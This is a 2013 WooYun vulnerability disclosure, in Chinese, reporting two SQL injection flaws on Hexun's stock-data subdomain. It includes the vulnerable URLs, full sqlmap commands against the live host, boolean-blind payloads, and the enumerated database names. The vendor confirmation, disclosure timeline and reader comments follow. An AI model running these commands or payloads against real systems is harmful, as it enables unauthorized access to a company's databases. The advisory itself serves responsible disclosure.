当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-041342

漏洞标题:和讯网分站多处SQL注入漏洞打包#1

相关厂商:和讯网

漏洞作者: 秋风

提交时间:2013-10-29 14:32

修复时间:2013-12-13 14:32

公开时间:2013-12-13 14:32

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-10-29: 细节已通知厂商并且等待厂商处理中
2013-10-29: 厂商已经确认,细节仅向厂商公开
2013-11-08: 细节向核心白帽子及相关领域专家公开
2013-11-18: 细节向普通白帽子公开
2013-11-28: 细节向实习白帽子公开
2013-12-13: 细节向公众公开

简要描述:

SQL注入两枚,见详细

详细说明:

核心数据,10个库,未遍历表!
通知存在注入点,未做进一步测试!
#1==============================================================

get参数endDate,startDate两个都存在注入
http://stockdata.stock.hexun.com/xsjj/data/sumsearch.aspx?callback=hxbase_json0&count=30&endDate=2013-10-31&page=1&searchContent=%C7%EB%CA%E4%C8%EB%B9%C9%C6%B1%B4%FA%C2%EB/%C3%FB%B3%C6&startDate=2013-10-01
python sqlmap.py -u "http://stockdata.stock.hexun.com/xsjj/data/sumsearch.aspx?callback=hxbase_json0&count=30&endDate=2013-10-31&page=1&searchContent=%C7%EB%CA%E4%C8%EB%B9%C9%C6%B1%B4%FA%C2%EB/%C3%FB%B3%C6&startDate=2013-10-01" --batch --dbs
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: endDate
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: callback=hxbase_json0&count=30&endDate=2013-10-31' AND 6923=6923 AND 'xnWM'='xnWM&page=1&searchContent=%C7%EB%CA%E4%C8%EB%B9%C9%C6%B1%B4%FA%C2%EB/%C3%FB%B3%C6&startDate=2013-10-01
---
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
available databases [10]:
[*] DB_BASE
[*] DB_FUND
[*] DB_STOCK
[*] DB_STOCKDATA
[*] DB_VALUEADD
[*] DB_WEB
[*] master
[*] model
[*] msdb
[*] tempdb


#2==============================================================

get参数code存在注入
http://stockdata.stock.hexun.com/dzjy/outdata/ggdzjy.ashx?callback=hxbase_json13829729832941&cjd=180&code=000001&count=30&page=1
python sqlmap.py -u "http://stockdata.stock.hexun.com/dzjy/outdata/ggdzjy.ashx?callback=hxbase_json13829729832941&cjd=180&code=000001&count=30&page=1" -p "code" --batch --dbs
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: code
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: callback=hxbase_json13829729832941&cjd=180&code=000001 AND 1853=1853&count=30&page=1
---
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
available databases [10]:
[*] DB_BASE
[*] DB_FUND
[*] DB_STOCK
[*] DB_STOCKDATA
[*] DB_VALUEADD
[*] DB_WEB
[*] master
[*] model
[*] msdb
[*] tempdb

漏洞证明:

_682.png


_683.png

修复方案:

过滤

版权声明:转载请注明来源 秋风@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2013-10-29 15:16

厂商回复:

多谢告知

最新状态:

暂无


漏洞评价:

评论

  1. 2013-10-30 08:45 | 寂寞的瘦子 ( 普通白帽子 | Rank:242 漏洞数:53 | 一切语言转汇编理论)

    帮你算了下4枚=7rank 2枚=6rank 一枚=4rank。洞主亏了

  2. 2013-12-13 14:58 | 炯炯虾 ( 路人 | Rank:2 漏洞数:1 | 我来自地球)

    看样子是搞菠菜的